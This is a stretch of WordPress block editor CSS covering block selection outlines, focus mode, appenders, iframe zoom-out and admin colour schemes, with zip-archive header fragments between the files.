  outline-offset:calc(((-1*var(--wp-admin-border-width-focus))/var(--wp-block-editor-iframe-zoom-out-scale, 1))*1);
  outline-style:solid;
  outline-width:calc((var(--wp-admin-border-width-focus)/var(--wp-block-editor-iframe-zoom-out-scale, 1))*1);
  pointer-events:none;
  position:absolute;
  right:0;
  top:0;
  z-index:1;
}
.block-editor-block-list__layout [class^=components-]{
  -webkit-user-select:text;
          user-select:text;
}

.block-editor-block-list__layout .block-editor-block-list__block{
  overflow-wrap:break-word;
  pointer-events:auto;
  position:relative;
}
.block-editor-block-list__layout .block-editor-block-list__block.is-editing-disabled{
  pointer-events:none;
}
.block-editor-block-list__layout .block-editor-block-list__block.has-negative-margin.has-child-selected,.block-editor-block-list__layout .block-editor-block-list__block.has-negative-margin.is-selected{
  z-index:20;
}
.block-editor-block-list__layout .block-editor-block-list__block .reusable-block-edit-panel *{
  z-index:1;
}
.block-editor-block-list__layout .block-editor-block-list__block .components-placeholder .components-with-notices-ui{
  margin:-10px 0 12px;
}
.block-editor-block-list__layout .block-editor-block-list__block .components-with-notices-ui{
  margin:0 0 12px;
  width:100%;
}
.block-editor-block-list__layout .block-editor-block-list__block .components-with-notices-ui .components-notice .components-notice__content{
  font-size:13px;
}
.block-editor-block-list__layout .block-editor-block-list__block.has-warning{
  min-height:48px;
}
.block-editor-block-list__layout .block-editor-block-list__block.has-warning>*{
  pointer-events:none;
  -webkit-user-select:none;
          user-select:none;
}
.block-editor-block-list__layout .block-editor-block-list__block.has-warning .block-editor-warning{
  pointer-events:all;
}
.block-editor-block-list__layout .block-editor-block-list__block.has-warning:after{
  background-color:#fff6;
  bottom:0;
  content:"";
  left:0;
  position:absolute;
  right:0;
  top:0;
}
.block-editor-block-list__layout .block-editor-block-list__block.has-warning.is-multi-selected:after{
  background-color:initial;
}
.block-editor-block-list__layout .block-editor-block-list__block.is-reusable.has-child-selected:after{
  box-shadow:0 0 0 1px var(--wp-admin-theme-color);
}
.block-editor-block-list__layout .block-editor-block-list__block[data-clear=true]{
  float:none;
}

.is-outline-mode .block-editor-block-list__block:not(.remove-outline).is-hovered,.is-outline-mode .block-editor-block-list__block:not(.remove-outline).is-selected{
  cursor:default;
}
.is-outline-mode .block-editor-block-list__block:not(.remove-outline).is-hovered .rich-text,.is-outline-mode .block-editor-block-list__block:not(.remove-outline).is-hovered.rich-text,.is-outline-mode .block-editor-block-list__block:not(.remove-outline).is-selected .rich-text,.is-outline-mode .block-editor-block-list__block:not(.remove-outline).is-selected.rich-text{
  cursor:auto;
}
.is-outline-mode .block-editor-block-list__block:not(.remove-outline).is-hovered:not(.is-selected):after,.is-outline-mode .block-editor-block-list__block:not(.remove-outline):not(.rich-text):not([contenteditable=true]).is-selected:after{
  bottom:0;
  content:"";
  left:0;
  outline-color:var(--wp-admin-theme-color);
  outline-offset:calc(((-1*var(--wp-admin-border-width-focus))/var(--wp-block-editor-iframe-zoom-out-scale, 1))*1);
  outline-style:solid;
  outline-width:calc((var(--wp-admin-border-width-focus)/var(--wp-block-editor-iframe-zoom-out-scale, 1))*1);
  pointer-events:none;
  position:absolute;
  right:0;
  top:0;
}
.is-outline-mode .block-editor-block-list__block:not(.remove-outline).is-reusable.block-editor-block-list__block:not([contenteditable]):focus:after,.is-outline-mode .block-editor-block-list__block:not(.remove-outline).is-reusable.is-highlighted:after,.is-outline-mode .block-editor-block-list__block:not(.remove-outline).is-reusable.is-hovered:after,.is-outline-mode .block-editor-block-list__block:not(.remove-outline).is-reusable.is-selected:after,.is-outline-mode .block-editor-block-list__block:not(.remove-outline).wp-block-template-part.block-editor-block-list__block:not([contenteditable]):focus:after,.is-outline-mode .block-editor-block-list__block:not(.remove-outline).wp-block-template-part.is-highlighted:after,.is-outline-mode .block-editor-block-list__block:not(.remove-outline).wp-block-template-part.is-hovered:after,.is-outline-mode .block-editor-block-list__block:not(.remove-outline).wp-block-template-part.is-selected:after{
  outline-color:var(--wp-block-synced-color);
}

@keyframes block-editor-is-editable__animation{
  0%{
    background-color:rgba(var(--wp-admin-theme-color--rgb), .1);
  }
  to{
    background-color:rgba(var(--wp-admin-theme-color--rgb), 0);
  }
}
@keyframes block-editor-is-editable__animation_reduce-motion{
  0%{
    background-color:rgba(var(--wp-admin-theme-color--rgb), .1);
  }
  99%{
    background-color:rgba(var(--wp-admin-theme-color--rgb), .1);
  }
  to{
    background-color:rgba(var(--wp-admin-theme-color--rgb), 0);
  }
}
.is-root-container:not([inert]) .block-editor-block-list__block.is-selected .block-editor-block-list__block.has-editable-outline:after{
  animation-delay:.1s;
  animation-duration:.8s;
  animation-fill-mode:backwards;
  animation-name:block-editor-is-editable__animation;
  animation-timing-function:ease-out;
  bottom:0;
  content:"";
  left:0;
  pointer-events:none;
  position:absolute;
  right:0;
  top:0;
}
@media (prefers-reduced-motion:reduce){
  .is-root-container:not([inert]) .block-editor-block-list__block.is-selected .block-editor-block-list__block.has-editable-outline:after{
    animation-delay:0s;
    animation-name:block-editor-is-editable__animation_reduce-motion;
  }
}

.is-focus-mode .block-editor-block-list__block:not(.has-child-selected){
  opacity:.2;
}
@media not (prefers-reduced-motion){
  .is-focus-mode .block-editor-block-list__block:not(.has-child-selected){
    transition:opacity .1s linear;
  }
}

.is-focus-mode .block-editor-block-list__block.is-content-locked-temporarily-editing-as-blocks.has-child-selected,.is-focus-mode .block-editor-block-list__block.is-content-locked-temporarily-editing-as-blocks.has-child-selected .block-editor-block-list__block,.is-focus-mode .block-editor-block-list__block.is-content-locked.has-child-selected,.is-focus-mode .block-editor-block-list__block.is-content-locked.has-child-selected .block-editor-block-list__block,.is-focus-mode .block-editor-block-list__block:not(.has-child-selected) .block-editor-block-list__block,.is-focus-mode .block-editor-block-list__block:not(.has-child-selected).is-multi-selected,.is-focus-mode .block-editor-block-list__block:not(.has-child-selected).is-selected{
  opacity:1;
}

.wp-block.alignleft,.wp-block.alignright,.wp-block[data-align=left]>*,.wp-block[data-align=right]>*{
  z-index:21;
}

.wp-site-blocks>[data-align=left]{
  float:right;
  margin-left:2em;
}

.wp-site-blocks>[data-align=right]{
  float:left;
  margin-right:2em;
}

.wp-site-blocks>[data-align=center]{
  justify-content:center;
  margin-left:auto;
  margin-right:auto;
}
.block-editor-block-list .block-editor-inserter{
  cursor:move;
  cursor:grab;
  margin:8px;
}

@keyframes block-editor-inserter__toggle__fade-in-animation{
  0%{
    opacity:0;
  }
  to{
    opacity:1;
  }
}
@media not (prefers-reduced-motion){
  .wp-block .block-list-appender .block-editor-inserter__toggle{
    animation:block-editor-inserter__toggle__fade-in-animation .1s ease;
    animation-fill-mode:forwards;
  }
}

.block-editor-block-list__block:not(.is-selected):not(.has-child-selected) .block-editor-default-block-appender{
  display:none;
}
.block-editor-block-list__block:not(.is-selected):not(.has-child-selected) .block-editor-default-block-appender .block-editor-inserter__toggle{
  opacity:0;
  transform:scale(0);
}

.block-editor-block-list__block .block-editor-block-list__block-html-textarea{
  border:none;
  border-radius:2px;
  box-shadow:inset 0 0 0 1px #1e1e1e;
  display:block;
  font-family:Menlo,Consolas,monaco,monospace;
  font-size:15px;
  line-height:1.5;
  margin:0;
  outline:none;
  overflow:hidden;
  padding:12px;
  resize:none;
  width:100%;
}
@media not (prefers-reduced-motion){
  .block-editor-block-list__block .block-editor-block-list__block-html-textarea{
    transition:padding .2s linear;
  }
}
.block-editor-block-list__block .block-editor-block-list__block-html-textarea:focus{
  box-shadow:inset 0 0 0 var(--wp-admin-border-width-focus) var(--wp-admin-theme-color);
}
.block-editor-block-list__block .block-editor-warning{
  position:relative;
  z-index:5;
}
.block-editor-block-list__block .block-editor-warning.block-editor-block-list__block-crash-warning{
  margin-bottom:auto;
}

.block-editor-block-list__zoom-out-separator{
  align-items:center;
  background:#ddd;
  color:#000;
  display:flex;
  font-family:-apple-system,BlinkMacSystemFont,Segoe UI,Roboto,Oxygen-Sans,Ubuntu,Cantarell,Helvetica Neue,sans-serif;
  font-size:13px;
  font-weight:400;
  justify-content:center;
  margin-left:-1px;
  margin-right:-1px;
  overflow:hidden;
}
@media not (prefers-reduced-motion){
  .block-editor-block-list__zoom-out-separator{
    transition:background-color .3s ease;
  }
}
.is-zoomed-out .block-editor-block-list__zoom-out-separator{
  font-size:calc(13px/var(--wp-block-editor-iframe-zoom-out-scale));
}
.block-editor-block-list__zoom-out-separator.is-dragged-over{
  background:#ccc;
}

.block-editor-block-list__layout.is-root-container.has-global-padding>.block-editor-block-list__zoom-out-separator,.has-global-padding>.block-editor-block-list__zoom-out-separator{
  margin:0 calc(var(--wp--style--root--padding-left)*-1 - 1px) 0 calc(var(--wp--style--root--padding-right)*-1 - 1px) !important;
  max-width:none;
}

.is-dragging{
  cursor:grabbing;
}

.is-vertical .block-list-appender{
  margin-left:auto;
  margin-right:12px;
  margin-top:12px;
  width:24px;
}

.block-list-appender>.block-editor-inserter{
  display:block;
}

.block-editor-block-list__block:not(.is-selected):not(.has-child-selected):not(.block-editor-block-list__layout) .block-editor-block-list__layout>.block-list-appender .block-list-appender__toggle{
  opacity:0;
  transform:scale(0);
}

.block-editor-block-list__block.has-block-overlay{
  cursor:default;
}
.block-editor-block-list__block.has-block-overlay .block-editor-block-list__block{
  pointer-events:none;
}
.block-editor-block-list__block.has-block-overlay .block-editor-block-list__block.has-block-overlay:before{
  left:0;
  right:0;
  width:auto;
}

.block-editor-block-list__layout .is-dragging{
  border-radius:2px !important;
  opacity:.1 !important;
}
.block-editor-block-list__layout .is-dragging iframe{
  pointer-events:none;
}
.block-editor-block-list__layout .is-dragging::selection{
  background:#0000 !important;
}
.block-editor-block-list__layout .is-dragging:after{
  content:none !important;
}

.wp-block img:not([draggable]),.wp-block svg:not([draggable]){
  pointer-events:none;
}

.block-editor-block-preview__content-iframe .block-list-appender{
  display:none;
}

.block-editor-block-preview__live-content *{
  pointer-events:none;
}
.block-editor-block-preview__live-content .block-list-appender{
  display:none;
}
.block-editor-block-preview__live-content .components-button:disabled{
  opacity:1;
}
.block-editor-block-preview__live-content .block-editor-block-list__block[data-empty=true],.block-editor-block-preview__live-content .components-placeholder{
  display:none;
}

.block-editor-block-variation-picker__skip,.block-editor-block-variation-picker__variations,.wp-block-group-placeholder__variations{
  display:flex;
  flex-direction:row;
  flex-wrap:wrap;
  font-size:12px;
  gap:8px;
  justify-content:flex-start;
  list-style:none;
  margin:0;
  padding:0;
  width:100%;
}
.block-editor-block-variation-picker__skip svg,.block-editor-block-variation-picker__variations svg,.wp-block-group-placeholder__variations svg{
  fill:#949494 !important;
}
.block-editor-block-variation-picker__skip .components-button,.block-editor-block-variation-picker__variations .components-button,.wp-block-group-placeholder__variations .components-button{
  padding:4px;
}
.block-editor-block-variation-picker__skip .components-button:hover,.block-editor-block-variation-picker__variations .components-button:hover,.wp-block-group-placeholder__variations .components-button:hover{
  background:none !important;
}
.block-editor-block-variation-picker__skip .components-button:hover svg,.block-editor-block-variation-picker__variations .components-button:hover svg,.wp-block-group-placeholder__variations .components-button:hover svg{
  fill:var(--wp-admin-theme-color) !important;
}
.block-editor-block-variation-picker__skip>li,.block-editor-block-variation-picker__variations>li,.wp-block-group-placeholder__variations>li{
  align-items:center;
  display:flex;
  flex-direction:column;
  gap:4px;
  width:auto;
}

.block-editor-button-block-appender{
  align-items:center;
  box-shadow:inset 0 0 0 1px #1e1e1e;
  color:#1e1e1e;
  display:flex;
  flex-direction:column;
  height:auto;
  justify-content:center;
  width:100%;
}
.is-dark-theme .block-editor-button-block-appender{
  box-shadow:inset 0 0 0 1px #ffffffa6;
  color:#ffffffa6;
}
.block-editor-button-block-appender:hover{
  box-shadow:inset 0 0 0 1px var(--wp-admin-theme-color);
  color:var(--wp-admin-theme-color);
}
.block-editor-button-block-appender:focus{
  box-shadow:inset 0 0 0 2px var(--wp-admin-theme-color);
}
.block-editor-button-block-appender:active{
  color:#000;
}

.block-editor-block-list__block:not(.is-selected)>.is-layout-constrained.wp-block-group__inner-container>.block-list-appender:only-child,.block-editor-block-list__block:not(.is-selected)>.is-layout-flow.wp-block-group__inner-container>.block-list-appender:only-child,.is-layout-constrained.block-editor-block-list__block:not(.is-selected)>.block-list-appender:only-child,.is-layout-flow.block-editor-block-list__block:not(.is-selected)>.block-list-appender:only-child{
  pointer-events:none;
}
.block-editor-block-list__block:not(.is-selected)>.is-layout-constrained.wp-block-group__inner-container>.block-list-appender:only-child:after,.block-editor-block-list__block:not(.is-selected)>.is-layout-flow.wp-block-group__inner-container>.block-list-appender:only-child:after,.is-layout-constrained.block-editor-block-list__block:not(.is-selected)>.block-list-appender:only-child:after,.is-layout-flow.block-editor-block-list__block:not(.is-selected)>.block-list-appender:only-child:after{
  border:1px dashed;
  bottom:0;
  content:"";
  left:0;
  pointer-events:none;
  position:absolute;
  right:0;
  top:0;
}
.block-editor-block-list__block:not(.is-selected)>.is-layout-constrained.wp-block-group__inner-container>.block-list-appender:only-child .block-editor-inserter,.block-editor-block-list__block:not(.is-selected)>.is-layout-flow.wp-block-group__inner-container>.block-list-appender:only-child .block-editor-inserter,.is-layout-constrained.block-editor-block-list__block:not(.is-selected)>.block-list-appender:only-child .block-editor-inserter,.is-layout-flow.block-editor-block-list__block:not(.is-selected)>.block-list-appender:only-child .block-editor-inserter{
  opacity:0;
}
.block-editor-block-list__block:not(.is-selected)>.is-layout-constrained.wp-block-group__inner-container>.block-list-appender:only-child .block-editor-inserter:focus-within,.block-editor-block-list__block:not(.is-selected)>.is-layout-flow.wp-block-group__inner-container>.block-list-appender:only-child .block-editor-inserter:focus-within,.is-layout-constrained.block-editor-block-list__block:not(.is-selected)>.block-list-appender:only-child .block-editor-inserter:focus-within,.is-layout-flow.block-editor-block-list__block:not(.is-selected)>.block-list-appender:only-child .block-editor-inserter:focus-within{
  opacity:1;
}
.block-editor-block-list__block:not(.is-selected)>.is-layout-constrained.wp-block-group__inner-container>.block-list-appender:only-child.is-drag-over:after,.block-editor-block-list__block:not(.is-selected)>.is-layout-flow.wp-block-group__inner-container>.block-list-appender:only-child.is-drag-over:after,.is-layout-constrained.block-editor-block-list__block:not(.is-selected)>.block-list-appender:only-child.is-drag-over:after,.is-layout-flow.block-editor-block-list__block:not(.is-selected)>.block-list-appender:only-child.is-drag-over:after{
  border:none;
}
.block-editor-block-list__block:not(.is-selected)>.is-layout-constrained.wp-block-group__inner-container>.block-list-appender:only-child.is-drag-over .block-editor-inserter,.block-editor-block-list__block:not(.is-selected)>.is-layout-flow.wp-block-group__inner-container>.block-list-appender:only-child.is-drag-over .block-editor-inserter,.is-layout-constrained.block-editor-block-list__block:not(.is-selected)>.block-list-appender:only-child.is-drag-over .block-editor-inserter,.is-layout-flow.block-editor-block-list__block:not(.is-selected)>.block-list-appender:only-child.is-drag-over .block-editor-inserter{
  visibility:visible;
}
.block-editor-block-list__block:not(.is-selected)>.block-editor-block-list__block>.block-list-appender:only-child:after{
  border:none;
}
.block-list-appender:only-child.is-drag-over .block-editor-button-block-appender{
  background-color:var(--wp-admin-theme-color);
  box-shadow:inset 0 0 0 1px #ffffffa6;
  color:#ffffffa6;
}
@media not (prefers-reduced-motion){
  .block-list-appender:only-child.is-drag-over .block-editor-button-block-appender{
    transition:background-color .2s ease-in-out;
  }
}
.block-editor-default-block-appender{
  clear:both;
  margin-left:auto;
  margin-right:auto;
  position:relative;
}
.block-editor-default-block-appender[data-root-client-id=""] .block-editor-default-block-appender__content:hover{
  outline:1px solid #0000;
}
.block-editor-default-block-appender .block-editor-default-block-appender__content{
  margin-block-end:0;
  margin-block-start:0;
  opacity:.62;
}
.block-editor-default-block-appender .components-drop-zone__content-icon{
  display:none;
}
.block-editor-default-block-appender .block-editor-inserter__toggle.components-button.has-icon{
  background:#1e1e1e;
  color:#fff;
  height:24px;
  min-width:24px;
  padding:0;
}
.block-editor-default-block-appender .block-editor-inserter__toggle.components-button.has-icon:hover{
  background:var(--wp-admin-theme-color);
  color:#fff;
}

.block-editor-default-block-appender .block-editor-inserter{
  left:0;
  line-height:0;
  position:absolute;
  top:0;
}
.block-editor-default-block-appender .block-editor-inserter:disabled{
  display:none;
}
.block-editor-block-list__block .block-list-appender{
  bottom:0;
  left:0;
  list-style:none;
  padding:0;
  position:absolute;
  z-index:2;
}
.block-editor-block-list__block .block-list-appender.block-list-appender{
  line-height:0;
  margin:0;
}
.block-editor-block-list__block .block-list-appender .block-editor-inserter:disabled{
  display:none;
}
.block-editor-block-list__block .block-list-appender .block-editor-default-block-appender{
  height:24px;
}
.block-editor-block-list__block .block-list-appender .block-editor-inserter__toggle.components-button.has-icon,.block-editor-block-list__block .block-list-appender .block-list-appender__toggle{
  background:#1e1e1e;
  box-shadow:none;
  color:#fff;
  display:none;
  flex-direction:row;
  height:24px;
  min-width:24px;
  padding:0 !important;
  width:24px;
}
.block-editor-block-list__block .block-list-appender .block-editor-inserter__toggle.components-button.has-icon:hover,.block-editor-block-list__block .block-list-appender .block-list-appender__toggle:hover{
  background:var(--wp-admin-theme-color);
  color:#fff;
}
.block-editor-block-list__block .block-list-appender .block-editor-default-block-appender__content{
  display:none;
}
.block-editor-block-list__block .block-list-appender:only-child{
  align-self:center;
  left:auto;
  line-height:inherit;
  list-style:none;
  position:relative;
}
.block-editor-block-list__block .block-list-appender:only-child .block-editor-default-block-appender__content{
  display:block;
}

.block-editor-block-list__block.is-selected .block-editor-block-list__layout>.block-list-appender .block-editor-inserter__toggle.components-button.has-icon,.block-editor-block-list__block.is-selected .block-editor-block-list__layout>.block-list-appender .block-list-appender__toggle,.block-editor-block-list__block.is-selected>.block-list-appender .block-editor-inserter__toggle.components-button.has-icon,.block-editor-block-list__block.is-selected>.block-list-appender .block-list-appender__toggle{
  display:flex;
}

.block-editor-default-block-appender__content{
  cursor:text;
}

.block-editor-iframe__body{
  position:relative;
}

.block-editor-iframe__html{
  transform-origin:top center;
}
@media not (prefers-reduced-motion){
  .block-editor-iframe__html{
    transition:background-color .4s;
  }
}
.block-editor-iframe__html.zoom-out-animation{
  bottom:0;
  left:0;
  overflow-y:var(--wp-block-editor-iframe-zoom-out-overflow-behavior, scroll);
  position:fixed;
  right:0;
  top:calc(var(--wp-block-editor-iframe-zoom-out-scroll-top, 0)*-1);
}
.block-editor-iframe__html.is-zoomed-out{
  background-color:#ddd;
  margin-bottom:calc(var(--wp-block-editor-iframe-zoom-out-content-height)*(1 - var(--wp-block-editor-iframe-zoom-out-scale, 1))*-1 + var(--wp-block-editor-iframe-zoom-out-frame-size, 0)*2/var(--wp-block-editor-iframe-zoom-out-scale, 1)*-1 + -2px);
  padding-bottom:calc(var(--wp-block-editor-iframe-zoom-out-frame-size, 0)/var(--wp-block-editor-iframe-zoom-out-scale, 1));
  padding-top:calc(var(--wp-block-editor-iframe-zoom-out-frame-size, 0)/var(--wp-block-editor-iframe-zoom-out-scale, 1));
  scale:var(--wp-block-editor-iframe-zoom-out-scale, 1);
  transform:translateX(calc(((var(--wp-block-editor-iframe-zoom-out-scale-container-width) - var(--wp-block-editor-iframe-zoom-out-container-width, 100vw))/2/var(--wp-block-editor-iframe-zoom-out-scale, 1))*-1));
}
.block-editor-iframe__html.is-zoomed-out body{
  min-height:calc((var(--wp-block-editor-iframe-zoom-out-inner-height) - 2*var(--wp-block-editor-iframe-zoom-out-frame-size, 0)/var(--wp-block-editor-iframe-zoom-out-scale, 1))/var(--wp-block-editor-iframe-zoom-out-scale, 1));
}
.block-editor-iframe__html.is-zoomed-out body>.is-root-container:not(.wp-block-post-content){
  display:flex;
  flex:1;
  flex-direction:column;
  height:100%;
}
.block-editor-iframe__html.is-zoomed-out body>.is-root-container:not(.wp-block-post-content)>main{
  flex:1;
}
.block-editor-iframe__html.is-zoomed-out .wp-block[draggable]{
  cursor:grab;
}

.block-editor-media-placeholder__cancel-button.is-link{
  display:block;
  margin:1em;
}

.block-editor-media-placeholder.is-appender{
  min-height:0;
}
.block-editor-media-placeholder.is-appender:hover{
  box-shadow:0 0 0 1px var(--wp-admin-theme-color);
  cursor:pointer;
}

.block-editor-plain-text{
  border:none;
  box-shadow:none;
  color:inherit;
  font-family:inherit;
  font-size:inherit;
  line-height:inherit;
  margin:0;
  padding:0;
  width:100%;
}

.rich-text [data-rich-text-placeholder]{
  pointer-events:none;
}
.rich-text [data-rich-text-placeholder]:after{
  content:attr(data-rich-text-placeholder);
  opacity:.62;
}
.rich-text:focus{
  outline:none;
}

figcaption.block-editor-rich-text__editable [data-rich-text-placeholder]:before{
  opacity:.8;
}

[data-rich-text-script]{
  display:inline;
}
[data-rich-text-script]:before{
  background:#ff0;
  content:"</>";
}

[data-rich-text-comment],[data-rich-text-format-boundary]{
  border-radius:2px;
}

[data-rich-text-comment]{
  background-color:currentColor;
}
[data-rich-text-comment] span{
  color:currentColor;
  filter:invert(100%);
  padding:0 2px;
}

.block-editor-warning{
  align-items:center;
  background-color:#fff;
  border:1px solid #1e1e1e;
  border-radius:2px;
  display:flex;
  flex-wrap:wrap;
  padding:1em;
}
.block-editor-warning,.block-editor-warning .block-editor-warning__message{
  font-family:-apple-system,BlinkMacSystemFont,Segoe UI,Roboto,Oxygen-Sans,Ubuntu,Cantarell,Helvetica Neue,sans-serif;
}
.block-editor-warning .block-editor-warning__message{
  color:#1e1e1e;
  font-size:13px;
  line-height:1.4;
  margin:0;
}
.block-editor-warning p.block-editor-warning__message.block-editor-warning__message{
  min-height:auto;
}
.block-editor-warning .block-editor-warning__contents{
  align-items:baseline;
  display:flex;
  flex-direction:row;
  flex-wrap:wrap;
  gap:12px;
  justify-content:space-between;
  width:100%;
}
.block-editor-warning .block-editor-warning__actions{
  align-items:center;
  display:flex;
  gap:8px;
}

.components-popover.block-editor-warning__dropdown{
  z-index:99998;
}

body.admin-color-light{
  --wp-admin-theme-color:#0085ba;
  --wp-admin-theme-color--rgb:0, 133, 186;
  --wp-admin-theme-color-darker-10:#0073a1;
  --wp-admin-theme-color-darker-10--rgb:0, 115, 161;
  --wp-admin-theme-color-darker-20:#006187;
  --wp-admin-theme-color-darker-20--rgb:0, 97, 135;
  --wp-admin-border-width-focus:2px;
}
@media (min-resolution:192dpi){
  body.admin-color-light{
    --wp-admin-border-width-focus:1.5px;
  }
}

body.admin-color-modern{
  --wp-admin-theme-color:#3858e9;
  --wp-admin-theme-color--rgb:56, 88, 233;
  --wp-admin-theme-color-darker-10:#2145e6;
  --wp-admin-theme-color-darker-10--rgb:33, 69, 230;
  --wp-admin-theme-color-darker-20:#183ad6;
  --wp-admin-theme-color-darker-20--rgb:24, 58, 214;
  --wp-admin-border-width-focus:2px;
}
@media (min-resolution:192dpi){
  body.admin-color-modern{
    --wp-admin-border-width-focus:1.5px;
  }
}

body.admin-color-blue{
  --wp-admin-theme-color:#096484;
  --wp-admin-theme-color--rgb:9, 100, 132;
  --wp-admin-theme-color-darker-10:#07526c;
  --wp-admin-theme-color-darker-10--rgb:7, 82, 108;
  --wp-admin-theme-color-darker-20:#064054;
  --wp-admin-theme-color-darker-20--rgb:6, 64, 84;
  --wp-admin-border-width-focus:2px;
}
@media (min-resolution:192dpi){
  body.admin-color-blue{
    --wp-admin-border-width-focus:1.5px;
  }
}

body.admin-color-coffee{
  --wp-admin-theme-color:#46403c;
  --wp-admin-theme-color--rgb:70, 64, 60;
  --wp-admin-theme-color-darker-10:#383330;
  --wp-admin-theme-color-darker-10--rgb:56, 51, 48;
  --wp-admin-theme-color-darker-20:#2b2724;
  --wp-admin-theme-color-darker-20--rgb:43, 39, 36;
  --wp-admin-border-width-focus:2px;
}
@media (min-resolution:192dpi){
  body.admin-color-coffee{
    --wp-admin-border-width-focus:1.5px;
  }
}

body.admin-color-ectoplasm{
  --wp-admin-theme-color:#523f6d;
  --wp-admin-theme-color--rgb:82, 63, 109;
  --wp-admin-theme-color-darker-10:#46365d;
  --wp-admin-theme-color-darker-10--rgb:70, 54, 93;
  --wp-admin-theme-color-darker-20:#3a2c4d;
  --wp-admin-theme-color-darker-20--rgb:58, 44, 77;
  --wp-admin-border-width-focus:2px;
}
@media (min-resolution:192dpi){
  body.admin-color-ectoplasm{
    --wp-admin-border-width-focus:1.5px;
  }
}

body.admin-color-midnight{
  --wp-admin-theme-color:#e14d43;
  --wp-admin-theme-color--rgb:225, 77, 67;
  --wp-admin-theme-color-darker-10:#dd382d;
  --wp-admin-theme-color-darker-10--rgb:221, 56, 45;
  --wp-admin-theme-color-darker-20:#d02c21;
  --wp-admin-theme-color-darker-20--rgb:208, 44, 33;
  --wp-admin-border-width-focus:2px;
}
@media (min-resolution:192dpi){
  body.admin-color-midnight{
    --wp-admin-border-width-focus:1.5px;
  }
}

body.admin-color-ocean{
  --wp-admin-theme-color:#627c83;
  --wp-admin-theme-color--rgb:98, 124, 131;
  --wp-admin-theme-color-darker-10:#576e74;
  --wp-admin-theme-color-darker-10--rgb:87, 110, 116;
  --wp-admin-theme-color-darker-20:#4c6066;
  --wp-admin-theme-color-darker-20--rgb:76, 96, 102;
  --wp-admin-border-width-focus:2px;
}
@media (min-resolution:192dpi){
  body.admin-color-ocean{
    --wp-admin-border-width-focus:1.5px;
  }
}

body.admin-color-sunrise{
  --wp-admin-theme-color:#dd823b;
  --wp-admin-theme-color--rgb:221, 130, 59;
  --wp-admin-theme-color-darker-10:#d97426;
  --wp-admin-theme-color-darker-10--rgb:217, 116, 38;
  --wp-admin-theme-color-darker-20:#c36922;
  --wp-admin-theme-color-darker-20--rgb:195, 105, 34;
  --wp-admin-border-width-focus:2px;
}
@media (min-resolution:192dpi){
  body.admin-color-sunrise{
    --wp-admin-border-width-focus:1.5px;
  }
}PK1Xd[hg;/dist/block-editor/default-editor-styles.min.cssnu�[���:root{--wp-admin-theme-color:#007cba;--wp-admin-theme-color--rgb:0,124,186;--wp-admin-theme-color-darker-10:#006ba1;--wp-admin-theme-color-darker-10--rgb:0,107,161;--wp-admin-theme-color-darker-20:#005a87;--wp-admin-theme-color-darker-20--rgb:0,90,135;--wp-admin-border-width-focus:2px;--wp-block-synced-color:#7a00df;--wp-block-synced-color--rgb:122,0,223;--wp-bound-block-color:var(--wp-block-synced-color)}@media (min-resolution:192dpi){:root{--wp-admin-border-width-focus:1.5px}}body{font-family:-apple-system,BlinkMacSystemFont,Segoe UI,Roboto,Oxygen-Sans,Ubuntu,Cantarell,Helvetica Neue,sans-serif;font-size:18px;line-height:1.5;--wp--style--block-gap:2em}p{line-height:1.8}.editor-post-title__block{font-size:2.5em;font-weight:800;margin-bottom:1em;margin-top:2em}PK1Xd[Zi�'�z�zdist/block-editor/content.cssnu�[���:root{
  --wp-admin-theme-color:#007cba;
  --wp-admin-theme-color--rgb:0, 124, 186;
  --wp-admin-theme-color-darker-10:#006ba1;
  --wp-admin-theme-color-darker-10--rgb:0, 107, 161;
  --wp-admin-theme-color-darker-20:#005a87;
  --wp-admin-theme-color-darker-20--rgb:0, 90, 135;
  --wp-admin-border-width-focus:2px;
  --wp-block-synced-color:#7a00df;
  --wp-block-synced-color--rgb:122, 0, 223;
  --wp-bound-block-color:var(--wp-block-synced-color);
}
@media (min-resolution:192dpi){
  :root{
    --wp-admin-border-width-focus:1.5px;
  }
}

.block-editor-block-icon{
  align-items:center;
  display:flex;
  height:24px;
  justify-content:center;
  width:24px;
}
.block-editor-block-icon.has-colors svg{
  fill:currentColor;
}
@media (forced-colors:active){
  .block-editor-block-icon.has-colors svg{
    fill:CanvasText;
  }
}
.block-editor-block-icon svg{
  max-height:24px;
  max-width:24px;
  min-height:20px;
  min-width:20px;
}

.block-editor-block-styles .block-editor-block-list__block{
  margin:0;
}
@keyframes selection-overlay__fade-in-animation{
  0%{
    opacity:0;
  }
  to{
    opacity:.4;
  }
}
:root .block-editor-block-list__layout::selection,:root [data-has-multi-selection=true] .block-editor-block-list__layout::selection,_::-webkit-full-page-media,_:future{
  background-color:initial;
}
.block-editor-block-list__layout{
  position:relative;
}
.block-editor-block-list__layout .block-editor-block-list__block.is-multi-selected:not(.is-partially-selected) ::selection,.block-editor-block-list__layout .block-editor-block-list__block.is-multi-selected:not(.is-partially-selected)::selection{
  background:#0000;
}
.block-editor-block-list__layout .block-editor-block-list__block.is-multi-selected:not(.is-partially-selected):after{
  background:var(--wp-admin-theme-color);
  bottom:0;
  content:"";
  left:0;
  opacity:.4;
  outline:2px solid #0000;
  pointer-events:none;
  position:absolute;
  right:0;
  top:0;
  z-index:1;
}
@media not (prefers-reduced-motion){
  .block-editor-block-list__layout .block-editor-block-list__block.is-multi-selected:not(.is-partially-selected):after{
    animation:selection-overlay__fade-in-animation .1s ease-out;
    animation-fill-mode:forwards;
  }
}
.block-editor-block-list__layout .block-editor-block-list__block.is-multi-selected:not(.is-partially-selected).is-highlighted:after{
  outline-color:#0000;
}
.block-editor-block-list__layout .block-editor-block-list__block.is-highlighted,.block-editor-block-list__layout .block-editor-block-list__block.is-highlighted~.is-multi-selected,.block-editor-block-list__layout .block-editor-block-list__block:not([contenteditable=true]):focus{
  outline:none;
}
.block-editor-block-list__layout .block-editor-block-list__block.is-highlighted:after,.block-editor-block-list__layout .block-editor-block-list__block.is-highlighted~.is-multi-selected:after,.block-editor-block-list__layout .block-editor-block-list__block:not([contenteditable=true]):focus:after{
  bottom:0;
  content:"";
  left:0;
  outline-color:var(--wp-admin-theme-color);
  outline-offset:calc(((-1*var(--wp-admin-border-width-focus))/var(--wp-block-editor-iframe-zoom-out-scale, 1))*1);
  outline-style:solid;
  outline-width:calc((var(--wp-admin-border-width-focus)/var(--wp-block-editor-iframe-zoom-out-scale, 1))*1);
  pointer-events:none;
  position:absolute;
  right:0;
  top:0;
  z-index:1;
}
.block-editor-block-list__layout [class^=components-]{
  -webkit-user-select:text;
          user-select:text;
}

.block-editor-block-list__layout .block-editor-block-list__block{
  overflow-wrap:break-word;
  pointer-events:auto;
